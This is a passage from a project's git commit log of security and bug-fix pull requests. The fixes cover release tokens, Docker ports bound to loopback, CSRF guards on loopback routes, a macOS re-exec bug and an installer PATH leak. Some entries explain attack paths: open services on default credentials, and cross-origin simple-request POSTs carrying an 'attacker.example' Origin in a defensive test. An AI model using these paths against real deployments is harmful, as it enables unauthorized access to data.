- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update

## Changes Made

- Both release workflows now prefer a GitHub App installation token —
scoped to this repository, expiring in an hour — over the PAT, via
`actions/create-github-app-token@v3`.
- The minting step is gated on `vars.RELEASE_APP_ID` and marked
`continue-on-error`, so an unconfigured app falls through to the
existing `PAT -> GITHUB_TOKEN` chain and nothing breaks today.
- `release-metadata-sync.yml`'s checkout no longer persists credentials,
and no longer receives a token at all.
- The final push supplies the credential through the step's own `env`
and an explicit remote URL, so it is never on disk while branch-supplied
code runs.

## Testing

- [x] Unit tests pass
- [x] Linting passes (ruff check + format on the test file)
- [ ] Type checking passes — N/A (YAML + test only)
- [x] New tests added for new functionality

### Test Output

```text
$ .venv/bin/python -m pytest tests/test_release_workflows.py -q
1 failed, 44 passed, 1 skipped in 0.23s
```

The single failure is `test_no_native_tls_in_wheel_build_tree`, which
shells out to `cargo`. It reproduces identically on unmodified `main` on
this machine (no Rust toolchain installed) and is unrelated to this
change.

New tests only:

```text
$ .venv/bin/python -m pytest tests/test_release_workflows.py -q -k "persist_credentials or scoped_app_token"
3 passed, 46 deselected in 0.18s
```

Against the parent commit:

```text
FAILED test_metadata_sync_does_not_persist_credentials_for_branch_supplied_code
FAILED test_release_workflows_prefer_scoped_app_token[release-please.yml-release-please]
FAILED test_release_workflows_prefer_scoped_app_token[release-metadata-sync.yml-sync]
3 failed, 46 deselected
```

## Real Behavior Proof

- Environment: macOS 15 (darwin 25.4.0), Python 3.12.13; workflows
parsed with PyYAML, not executed on a runner.
- Exact command / steps: parse both workflow files and assert (a) every
`actions/checkout` step sets `persist-credentials: false` and receives
no `token`, (b) exactly one gated `create-github-app-token` step exists
per workflow, and (c) every credential consumer places
`steps.app-token.outputs.token` ahead of `secrets.RELEASE_PLEASE_TOKEN`
in its fallback chain.
- Observed result: all three assertions pass on this branch and fail on
the parent commit. Both files remain valid YAML.
- **Not tested — important:** none of this has executed on a GitHub
runner. I have not minted a real installation token, not confirmed the
app-token step's `continue-on-error` fallback behaves as expected when
`vars.RELEASE_APP_ID` is unset, and not performed a real push with the
explicit-remote-URL form. The first live release run is the real test.

## Runtime Rollout Safety

- Rollout-managed feature(s): none.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: no, unless `vars.RELEASE_APP_ID` is
set — without it both workflows resolve to exactly today's credential
chain.
- Kill switch / disable path: unset `vars.RELEASE_APP_ID` to fall back
to the PAT.
- Unsafe override required: none.
- Qualification impact: none.
- Rollback path: revert this commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes

## Additional Notes

**This narrows blast radius; it does not make the trigger safe on its
own.** For an `on: push` workflow GitHub reads the workflow file from
the pushed ref, so a principal with push access can still edit this file
on their branch. The durable fix is the scoped app token *plus revoking
the personal PAT* — the revocation is a console action and is
deliberately not in this commit.

**Two repo settings are required to actually complete #2955**, and
neither can land in git:

```
vars.RELEASE_APP_ID              (repository variable)
secrets.RELEASE_APP_PRIVATE_KEY  (repository secret)
```

Until those exist this PR is a no-op on behavior and a defense-in-depth
improvement on the `persist-credentials` path only.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-16 19:05:32 -07:00
Tejas Chopra
481e0b83d5
fix(docker): publish compose ports on loopback only (#3061)
## Description

`docker compose up -d` published every service on `0.0.0.0`, and none of
the three authenticates an inbound caller by default:

| port | service | default auth |
|---|---|---|
| 8787 | proxy | `/v1/*` data plane open unless `HEADROOM_PROXY_TOKEN`
is set |
| 6333/6334 | Qdrant | **none at all** — holds embeddings derived from
prompts |
| 7474/7687 | Neo4j | `NEO4J_AUTH` falls back to `neo4j/devpassword`,
published in this file |

So the shipped default handed any peer on the surrounding network a
relay through the proxy plus direct read/write on the vector and graph
stores built from the operator's own prompt content. The proxy already
warns about exactly this shape at `headroom/proxy/server.py:3289` — the
compose file just never took its own advice.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [x] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update

## Changes Made

- Pinned all five published ports to `127.0.0.1`.
- Documented in the file header how to expose the proxy deliberately,
pairing the port override with `HEADROOM_PROXY_TOKEN` rather than
leaving that implicit.
- Added a commented `HEADROOM_PROXY_TOKEN` entry to the proxy service
environment.
- Added a regression test asserting every published port names a
loopback host IP.

## Testing

- [x] Unit tests pass
- [x] Linting passes (ruff check + format)
- [ ] Type checking passes — N/A (YAML + test only)
- [x] New tests added for new functionality

### Test Output

```text
$ .venv/bin/python -m pytest tests/test_docker_compose_persistence.py -q
3 passed in 0.14s

$ docker compose -f docker-compose.yml config    # validates
headroom-proxy   host_ip=127.0.0.1  published=8787 -> 8787
neo4j            host_ip=127.0.0.1  published=7474 -> 7474
neo4j            host_ip=127.0.0.1  published=7687 -> 7687
qdrant           host_ip=127.0.0.1  published=6333 -> 6333
qdrant           host_ip=127.0.0.1  published=6334 -> 6334
```

Against the parent commit:

```text
FAILED test_top_level_compose_publishes_only_to_loopback
E   AssertionError: headroom-proxy: port '8787:8787' publishes on all interfaces
```

## Real Behavior Proof

- Environment: macOS 15 (darwin 25.4.0), Docker Compose v2 available
locally.
- Exact command / steps: `docker compose -f docker-compose.yml config
--format json` before and after, comparing the resolved `host_ip` on
every published port.
- Observed result: before, no port carried a `host_ip` (Docker binds
`0.0.0.0`); after, all five resolve to `host_ip=127.0.0.1`. The compose
file still validates.
- Not tested: bringing the stack up and probing the ports from a second
machine on the LAN — the assertion is made against Docker's own resolved
configuration rather than a live two-host network.

## Runtime Rollout Safety

- Rollout-managed feature(s): none.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: yes — the compose stack is no longer
reachable from other machines by default.
- Kill switch / disable path: override `ports:` in a
`docker-compose.override.yml`; the header documents this and pairs it
with `HEADROOM_PROXY_TOKEN`.
- Unsafe override required: none.
- Qualification impact: none.
- Rollback path: revert this commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation (the
compose header)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes

## Additional Notes

**This is a deliberate breaking change for one workflow**: anyone
reaching the compose proxy from another machine will need to override
`ports:`. That is exactly the configuration that was unsafe, so it
should break loudly rather than silently. `http://localhost:8787` from
the host is unchanged, the container still listens on `0.0.0.0`
internally, and service-to-service traffic on the compose network is
unaffected.

Scope note: I fixed all three services rather than only the proxy.
Closing 8787 while leaving an unauthenticated Qdrant and a
default-password Neo4j published on `0.0.0.0` would not have improved
the security posture.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-16 19:05:29 -07:00
Tejas Chopra
a6ab359a5d
fix(proxy): guard feedback endpoints and add CSRF checks to loopback writes (#3060)
## Description

`#2927` brought eight telemetry/TOIN routes under `require_loopback`.
Two structurally identical siblings 60 lines above them were missed:

```
GET /v1/feedback
GET /v1/feedback/{tool_name}
```

Neither is an aggregate-counter endpoint. Their `common_queries` /
`queried_fields` keys are built verbatim from agent search text —
`event.query.lower()` at `headroom/cache/compression_feedback.py:311` —
and up to 100 queries are retained per tool, keyed by real tool name.
Under the shipped Docker default (`--host 0.0.0.0`) a LAN peer gets a
404 from `/v1/toin/patterns` and the query corpus from `/v1/feedback`.

Separately, five mutating loopback-only routes had no CSRF guard.
`require_loopback` cannot stop that attack: a remote page POSTing to a
known `127.0.0.1` URL with `Content-Type: text/plain` is a CORS *simple*
request, so there is no preflight, and the browser still sends the real
loopback `Host` header — both of the guard's gates pass. Only `Origin`
betrays the caller, and only `require_same_origin` inspects it. That
guard already existed at `headroom/proxy/loopback_guard.py:219` and was
applied solely to `/settings`.

Closes #2927 (completes it — the original eight routes were already
done).

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update

## Changes Made

- Added `Depends(_require_loopback)` to `/v1/feedback` and
`/v1/feedback/{tool_name}`.
- Stripped `common_queries` / `queried_fields` from both response bodies
even on the guarded path, matching the whitelist discipline #2930
applied at `server.py:4909-4916`.
- Added `_feedback_stats_without_query_text()` so the scrub happens at
the HTTP boundary; `get_stats()` is unchanged and in-process compression
decisions are untouched.
- Added `Depends(_require_same_origin)` to `POST /stats/reset`,
`/cache/clear`, `/v1/retrieve`, `/v1/telemetry/import`,
`/admin/runtime-env`.

## Testing

- [x] Unit tests pass
- [x] Linting passes (ruff check + format)
- [ ] Type checking passes (`uv run mypy headroom`) — not run
- [x] New tests added for new functionality

### Test Output

```text
$ .venv/bin/python -m pytest tests/test_proxy_loopback_gating.py -q
99 passed, 1 warning in 4.18s

$ .venv/bin/python -m pytest tests/test_proxy_settings_endpoints.py tests/test_telemetry.py \
    tests/test_proxy_cache_telemetry.py tests/test_proxy_telemetry_env.py tests/test_telemetry_context.py -q
101 passed, 1 warning in 3.67s

$ .venv/bin/python -m pytest tests/test_critical_fixes.py tests/test_compression_store.py \
    tests/test_toin_full_integration.py tests/test_ccr_feedback.py tests/test_critical_gaps.py \
    tests/test_proxy_ccr.py tests/test_proxy_dashboard_stats_cache.py -q
168 passed, 4 skipped, 3 warnings in 13.18s

$ .venv/bin/python -m ruff check headroom/proxy/server.py tests/test_proxy_loopback_gating.py
All checks passed!
```

Against the parent commit (`git stash` of `server.py` only), all 14 new
tests fail:

```text
FAILED test_non_loopback_caller_gets_404[get-/v1/feedback]
FAILED test_non_loopback_caller_gets_404[get-/v1/feedback/example]
FAILED test_cross_origin_post_rejected[/stats/reset]
FAILED test_cross_origin_post_rejected[/cache/clear]
FAILED test_cross_origin_post_rejected[/v1/retrieve]
FAILED test_cross_origin_post_rejected[/v1/telemetry/import]
FAILED test_cross_origin_post_rejected[/admin/runtime-env]
FAILED test_sandboxed_null_origin_post_rejected[...]  (5 cases)
FAILED test_feedback_stats_exclude_agent_query_text
FAILED test_feedback_tool_detail_excludes_agent_query_text
14 failed, 85 passed
```

## Real Behavior Proof

- Environment: macOS 15 (darwin 25.4.0), Python 3.12.13, this branch,
FastAPI `TestClient` against the real `create_app` proxy.
- Exact command / steps: drive `/v1/feedback` with a feedback singleton
whose `common_queries` contains `"find the customer api key rotation
runbook"`, once from a non-loopback peer and once from a loopback peer;
POST each of the five mutating routes with `Origin:
https://attacker.example` and `Content-Type: text/plain`.
- Observed result: non-loopback callers now receive 404 where they
previously received 200 with the query corpus; on the loopback path the
response no longer contains `common_queries`, `queried_fields`, or the
substring `customer api key rotation`, while `retrieval_rate` still
resolves to `0.25`. All five cross-origin POSTs return 403; the same
requests with no `Origin`, or with `Origin: http://127.0.0.1`, are
unaffected.
- Not tested: a real browser issuing the cross-origin POST (the CORS
simple-request shape is reproduced at the header level, not in a
browser), and a live non-loopback deployment.

## Runtime Rollout Safety

- Rollout-managed feature(s): none.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: yes — `/v1/feedback*` now 404 for
non-loopback callers and no longer return query text; five POST routes
reject cross-origin browser callers.
- Kill switch / disable path: none; these are security guards and are
deliberately not configurable.
- Unsafe override required: none.
- Qualification impact: none.
- Rollback path: revert this commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes

## Additional Notes

`/stats` also calls `feedback.get_stats()` (`server.py:3896`) but only
reads aggregate counters at `:4303-4311` and never emits query text —
verified, and the reason the scrub is applied at the HTTP boundary
rather than inside `get_stats()`.

The five POST routes are strictly loopback-gated, so the
trusted-dashboard wrapper `/settings` uses is unnecessary here; for a
loopback caller that wrapper falls through to the same raw guard. No
dashboard asset calls them, and the TypeScript SDK
(`sdk/typescript/src/client.ts:322,443`) sends no `Origin` header, which
the guard passes through unchanged.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-16 18:23:27 -07:00
Tejas Chopra
96c25f5181
fix(cli): stop the macOS malloc re-exec replacing an embedder's process (#3064)
## Description

**`main` cannot currently run its own test suite on macOS.** `pytest
tests/` dies at roughly 2% with exit code 2 — no traceback, no summary,
no failing test named. The pytest process is simply gone.

Two independent defects, both landed today, both invisible to CI.

### 1. The macOS malloc re-exec replaces the calling process

`headroom proxy` re-execs itself once on Darwin to apply two libmalloc
knobs that libmalloc only reads before `main()` (#2820, PR #2879):

```python
os.execv(sys.executable, [sys.executable, "-m", "headroom.cli", *sys.argv[1:]])
```

That reconstruction is only faithful when the process really *is* the
Headroom CLI. Ten-plus test files invoke the `proxy` command in-process
through Click's `CliRunner`. There, `os.execv` replaces **pytest** with
a Headroom process holding pytest's argv. Run with `-s`, the mechanism
is visible:

```
tests/test_agent_savings.py Usage: python -m headroom.cli [OPTIONS] COMMAND [ARGS]...
Error: No such command 'tests/test_agent_savings.py::test_proxy_cli_reads_agent_90_profile_env'.
```

Everything after the first such test — roughly 98% of the suite — never
runs. The same hazard applies to any application embedding the CLI.

**The documented kill switch does not help.** `tests/conftest.py:41`
scrubs every `HEADROOM_*` variable for hermeticity, so
`HEADROOM_MALLOC_TUNING` is deleted before the guard reads it. Only the
private `_HEADROOM_MALLOC_TUNED` survives, because it starts with an
underscore.

**CI could not have caught this.** The tuning is Darwin-only, and while
the repo *does* have macOS jobs (`macos-native-wrapper`, `wrap-native
(macos-latest)`), neither runs the Python test suite — the `test` shards
are `ubuntu-latest` only. So `sys.platform != "darwin"` returns first
everywhere pytest actually runs. #2879 merged with 37 green checks.

### 2. A semantic merge conflict between two green PRs

#3051 added `bind_scope(tags, request.scope)` at `gemini.py:325` and
updated the three Gemini fakes it knew about. #3035 branched earlier and
added a fourth `_FakeRequest` without `.scope`. Each was green against
its own base; together they fail:

```
AttributeError: '_FakeRequest' object has no attribute 'scope'
```

Git merged both cleanly. Only running the suite on merged `main`
surfaces it.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update

## Changes Made

- Added `_process_is_headroom_cli_entrypoint()`: the re-exec now
verifies its own precondition — `argv[0]` must be the `headroom` console
script or `headroom/cli/__main__.py`.
- The embedded path returns **before** stamping
`_HEADROOM_MALLOC_TUNED`, so a genuine CLI child inheriting the
environment can still apply the tuning.
- Gave the Gemini `_FakeRequest` the `.scope` every real Starlette
`Request` carries.
- `test_reexec_skips_when_operator_already_set_vars` now sets a
realistic `argv[0]`, matching its sibling exec test.
- New `tests/test_cli_proxy_malloc_reexec_guard.py` asserting the
guard's logic on **every** platform, since no CI runner is macOS.

## Testing

- [x] Unit tests pass
- [x] Linting passes (ruff check + format)
- [ ] Type checking passes (`uv run mypy headroom`) — not run
- [x] New tests added for new functionality

### Test Output

Before, on `main`:

```text
$ .venv/bin/python -m pytest tests/ -q
collected 11622 items / 8 skipped
... tests/test_agent_savings.py ............................
$ echo $?
2
```

No summary line — the run does not end, it is replaced.

After, on this branch:

```text
$ .venv/bin/python -m pytest tests/ -q
3 failed, 11055 passed, 581 skipped, 6034 warnings in 303.69s (0:05:03)
```

All three remaining failures reproduce at `f9807fd6`, before today's
merges, and are unrelated:

| test | cause |
|---|---|
|
`test_graceful_shutdown::test_run_server_installs_cancelled_error_filter`
| full-suite ordering; passes in isolation (11 passed) |
|
`test_learn/test_integration::TestCodexIntegration::test_full_pipeline`
| pre-existing |
| `test_release_workflows::test_no_native_tls_in_wheel_build_tree` |
requires `cargo`, absent on this host |

## Real Behavior Proof

- Environment: macOS 15 (darwin 25.4.0), Python 3.12.13, arm64, real
checkout of `main` at `ef7e07e0`.
- Exact command / steps: bisected the crash to a single test, then to a
single commit — `be5b26d8` (parent) exits 0, `6d87825f` (#2879) exits 2.
Confirmed causation by temporarily replacing the `os.execv` line with
`return`, which makes the test pass. Recovered the mechanism by running
the crashing test with `-s`, which prints the Headroom CLI rejecting
pytest's own argv.
- Observed result: on `main` the suite cannot reach a summary; on this
branch it completes with 11,055 passing. The two-file reproduction
(`test_agent_savings.py` + `test_anthropic_beta_session_sticky.py`) goes
from exit 2 to 62 passed.
- Not tested: a real `headroom proxy` launch on macOS confirming
libmalloc still receives the knobs after re-exec. The guard is covered
by unit tests asserting `execv` is still called with `["-m",
"headroom.cli", "proxy", "--port", "8787"]` for a console-script
`argv[0]`, but I have not watched `vmmap` on a live proxy. **A macOS
maintainer should confirm #2820's RSS fix still works end to end before
this ships.**

## Runtime Rollout Safety

- Rollout-managed feature(s): none.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: no for a real CLI launch; the re-exec
no longer fires when the CLI is invoked in-process, which was never
intended to work.
- Kill switch / disable path: `HEADROOM_MALLOC_TUNING=0` still disables
the tuning outright.
- Unsafe override required: none.
- Qualification impact: none.
- Rollback path: revert this commit — but that restores a `main` whose
test suite cannot run on macOS.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes

## Additional Notes

**This is my fault and worth recording.** I merged both #2879 and #3035
earlier today on the rule "approved + green CI". Both were genuinely
approved and genuinely green. Neither was rebased onto current `main`
first, and CI has no macOS runner, so green meant less than it appeared
to.

Two process gaps this exposes, neither of which this PR fixes:

1. **The Python test suite never runs on macOS.** The repo has macOS
jobs (`macos-native-wrapper`, `wrap-native (macos-latest)`), but the
`test` shards are `ubuntu-latest` only, so Darwin-only code paths — the
allocator tuning is one, `wrap` has others — are unreachable by pytest
in CI. Even a reduced macOS shard would have caught this.
2. **Nothing requires a PR to be current with `main` before merging.**
Both defects here are cross-PR interactions that no per-PR check can
see. Enabling "require branches to be up to date before merging" on
`main` would have forced a rebase and surfaced the Gemini fake.

I would suggest an issue for each rather than folding them in here.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-16 17:56:10 -07:00
AxelRay
ef7e07e0f5
fix(policy): price net-cost mutations with the 1h cache-write tier (#2780)
## Description

This fixes the net-cost mutation gate for requests using Anthropic's
1-hour prompt-cache TTL.

The gate previously hardcoded the 5-minute cache-write multiplier of
1.25x. A 1-hour cache write costs 2.0x, so the old calculation
understated the true write penalty and could incorrectly recommend
mutation for 1-hour clients.

Closes #2773

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Added TTL-aware cache-write multiplier selection for 5-minute and
1-hour tiers.
- Threaded the resolved TTL through the content router and compression
policy helpers.
- Preserved the existing 5-minute behavior as the default.
- Added Python and Rust regression coverage for the 1-hour tier.
- Retuned the netcost gate fixtures so the 1-hour write tier flips the
decision in the full ContentRouter path.
- Did not edit CHANGELOG.md.

## Testing

- [x] Unit tests pass (pytest)
- [x] Linting passes (ruff check .)
- [ ] Type checking passes (mypy headroom)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
pytest tests/test_compression_policy.py -q
20 passed

cargo test -p headroom-core --lib compression_policy -- --nocapture
14 passed

pytest tests/test_netcost_gate.py -q
27 passed

Ruff checks and formatting passed.
git diff --check passed.
```

## Real Behavior Proof

- Environment: Linux x86_64 contributor checkout with Python and Rust
test environments.
- Exact command / steps:
  - Ran the Python compression policy test suite.
  - Ran the Rust compression policy unit tests.
- Ran the netcost gate suite, including the 1-hour env and
request-marker cases.
- Exercised the new 1-hour TTL golden case alongside the existing
5-minute cases.
- Observed result: The 1-hour case uses the 2.0x write multiplier and
skips the same candidate that still mutates under 5-minute pricing.
Existing 5-minute behavior remains covered and passing.
- Not tested: A live Anthropic request through the proxy and production
traffic.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [ ] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit CHANGELOG.md - it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

Not applicable for this backend policy fix.

## Additional Notes

Ready for review. CI is green on the current tip.
2026-08-16 15:09:50 -07:00
Abhay Singh
2a8472525d
feat(wrap/claude): make the --1m fallback model configurable via HEADROOM_1M_MODEL (#2983)
## Description

The model `headroom wrap claude --1m` falls back to (when no model is
otherwise selected) was a hardcoded constant `claude-opus-4-8`, with no
env var or config key to override it. So it goes stale with every new
Opus release, and the only workaround is pinning `ANTHROPIC_MODEL`
globally -- which also changes every non-`--1m` session and overrides
Claude Code's own `/model` picker. The knob the user actually wants
("what should `--1m` default to") did not exist (#2937).

## Fix

Add a `HEADROOM_1M_MODEL` env override that `_resolve_1m_model` consults
for its fallback default, and bump the built-in default to
`claude-opus-5` (Opus 5 has shipped):

```python
_1M_MODEL_ENV = "HEADROOM_1M_MODEL"
_DEFAULT_1M_MODEL = "claude-opus-5"

def _resolve_1m_model(current: str | None) -> str:
    fallback = (os.environ.get(_1M_MODEL_ENV) or "").strip() or _DEFAULT_1M_MODEL
    base = (current or "").strip() or fallback
    return base if base.endswith(_CONTEXT_1M_SUFFIX) else f"{base}{_CONTEXT_1M_SUFFIX}"
```

Precedence is unchanged: an explicit `ANTHROPIC_MODEL` (or a
pass-through `--model`, via the existing `_apply_1m_to_claude_args`)
still wins. `HEADROOM_1M_MODEL` only supplies the fallback when nothing
else is selected. The `[1m]` suffixing and idempotency are unchanged.

Fixes #2937

## Type of Change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made
- `docs/content/docs/configuration.mdx`: document `HEADROOM_1M_MODEL`
(new "Claude 1M context window" subsection covering `--1m` resolution
order and `[1m]` acceptance) and register it in the Environment
Variables catalog with its current default.
- `tests/test_cli/test_wrap_helpers.py`: assert the knob stays
documented and the documented default tracks `_DEFAULT_1M_MODEL`, so it
cannot silently drift.

- `headroom/cli/wrap.py`: add `HEADROOM_1M_MODEL` env override in
`_resolve_1m_model`; bump `_DEFAULT_1M_MODEL` to `claude-opus-5`.
- `tests/test_cli/test_wrap_helpers.py`: env override wins the fallback;
an explicit current model still wins over the env; blank env falls back
to the built-in; env value is idempotent for an already-`[1m]` value.
Updated the existing "falls back to default" test to assert against the
constant (robust to future bumps) and to clear the env var.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy`)
- [x] New tests added

### Test Output

```text
tests/test_cli/test_wrap_helpers.py -k "resolve_1m or apply_1m"  11 passed
tests/test_cli/test_wrap_claude_vertex_proxy_env.py -k 1m         4 passed
# uvx ruff@0.15.22 check  -> All checks passed!
# uvx mypy@1.20.2 headroom/cli/wrap.py -> Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.15.22 and mypy 1.20.2 via uvx.
- Exact command / steps: exercised `_resolve_1m_model` directly with the
env var set/unset. With `HEADROOM_1M_MODEL=claude-opus-9` and no
`ANTHROPIC_MODEL`, `--1m` resolves to `claude-opus-9[1m]`; with the env
var unset it resolves to `claude-opus-5[1m]`; a set `ANTHROPIC_MODEL`
(e.g. `claude-sonnet-5`) still wins as `claude-sonnet-5[1m]`.
- Observed result: operators can point `--1m` at the current Opus
without a code change and without pinning `ANTHROPIC_MODEL` globally,
and a fresh install no longer silently opts `--1m` into the previous
generation.
- Not tested: a live Claude Code 1M session (no entitled account here).
The resolution is verified at the helper the launch path uses.

## Runtime Rollout Safety

- Rollout-managed feature(s): none. `wrap claude --1m` model resolution
is a launch-time CLI helper, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: yes, narrowly. The built-in `--1m`
fallback default moves from `claude-opus-4-8` to `claude-opus-5` only
when neither `HEADROOM_1M_MODEL` nor `ANTHROPIC_MODEL` is set; any
explicit selection is unaffected.
- Kill switch / disable path: set `HEADROOM_1M_MODEL` (or
`ANTHROPIC_MODEL`) to pin any model; both override the default.
- Unsafe override required: no.
- Qualification impact: none. No proxy request path, routing, or token
accounting is touched.
- Rollback path: revert this PR, or set
`HEADROOM_1M_MODEL=claude-opus-4-8` to restore the prior default without
a code change.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`: it is generated by
release-please from my Conventional Commit PR title

## Additional Notes

The default bump (`claude-opus-4-8` -> `claude-opus-5`) is the second
half of the issue's request. If you would rather keep the constant and
ship only the env override, I can drop that one line; the override alone
already lets operators avoid the stale default.

---------

Co-authored-by: JD Davis <mxjerrett@gmail.com>
2026-08-16 15:09:46 -07:00
Abhay Singh
ddd9f76729
fix(install): stop the PowerShell installer leaking temp dirs into the real user PATH (#2985)
## Description

`scripts/install.ps1` persists the install directory to the user's PATH
through `Ensure-PathEntry`, which calls
`[Environment]::SetEnvironmentVariable('Path', ..., 'User')`. That value
lives in the `HKCU\Environment` registry key, so it is **not** scoped by
a `HOME` / `USERPROFILE` override.


`tests/test_install/test_native_installers.py::test_powershell_native_installer_supports_persistent_docker_lifecycle`
runs that real installer against a `tmp_path` fake home. Every run
therefore prepended the test's throwaway shim directory to the
developer's actual, persistent user PATH -- and it stayed there after
the test finished. The entries accumulate one per run, ahead of the real
install dir; and since the installer also drops
`headroom.ps1`/`headroom.cmd` into that dir, `headroom` in a fresh shell
could then resolve to a leftover wrapper from a deleted temp directory
(#2970).

## Fix

Make the persistence scope configurable via
`HEADROOM_INSTALL_PATH_SCOPE`, defaulting to `'User'` so production
behavior is unchanged:

```powershell
$scope = if ($env:HEADROOM_INSTALL_PATH_SCOPE) { $env:HEADROOM_INSTALL_PATH_SCOPE } else { 'User' }
$currentPath = [Environment]::GetEnvironmentVariable('Path', $scope)
...
[Environment]::SetEnvironmentVariable('Path', ($newPath -join ';'), $scope)
```

The installer tests (`_build_env`) set
`HEADROOM_INSTALL_PATH_SCOPE=Process`, so the PATH update stays in the
spawned PowerShell process (discarded when it exits) instead of writing
to the registry.

Fixes #2970

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature
- [ ] Breaking change
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `scripts/install.ps1` (`Ensure-PathEntry`): read/write the PATH via
`$env:HEADROOM_INSTALL_PATH_SCOPE` (default `'User'`).
- `tests/test_install/test_native_installers.py`: `_build_env` sets
`HEADROOM_INSTALL_PATH_SCOPE=Process` for every installer invocation;
add a Windows-only
`test_powershell_installer_does_not_leak_into_user_path` asserting the
real User PATH entry count is unchanged across an installer run.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] New test added

### Test Output

```text
tests/test_install/test_native_installers.py -k does_not_leak_into_user_path  1 passed
# uvx ruff@0.15.22 check tests/test_install/test_native_installers.py -> All checks passed!
```

## Real Behavior Proof

- Environment: Windows 11, Windows PowerShell 5.1, Python 3.12.11,
project venv, pytest 9.1.1, ruff 0.15.22 via uvx.
- Exact command / steps: recorded the real user PATH entry count
(`([Environment]::GetEnvironmentVariable('Path','User') -split
';').Count` = 27), ran the PowerShell installer test with the fix, then
re-read the count: still 27 -- no leak. The new
`test_powershell_installer_does_not_leak_into_user_path` formalizes this
(before == after).
- Observed result: running the installer test suite no longer mutates
the developer's persistent user PATH; production installs still persist
to `'User'` as before.
- Not tested: the sibling
`test_powershell_native_installer_supports_persistent_docker_lifecycle`
fails on my Windows host on an unrelated `trusted_cidrs`
dashboard-gateway assertion (it fails identically on `main` without this
change, and the whole PowerShell suite is skipped on the Linux CI
runners). This PR does not touch that path.

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is the native PowerShell
installer script, not a rollout-channel-gated runtime feature.
- Minimum rollout channel: N/A (no rollout-managed behavior).
- Stable/default behavior changed: no. Production installs still persist
PATH to the `User` scope exactly as before; the new
`HEADROOM_INSTALL_PATH_SCOPE` override defaults to `User` and is used
only by the test suite to avoid mutating the developer's persistent
PATH.
- Kill switch / disable path: leave `HEADROOM_INSTALL_PATH_SCOPE` unset
(the default) for the normal `User` behavior.
- Unsafe override required: no.
- Qualification impact: none. Installer-only; no proxy runtime path is
touched.
- Rollback path: revert this PR; the installer returns to writing the
`User` PATH unconditionally.

## Review Readiness

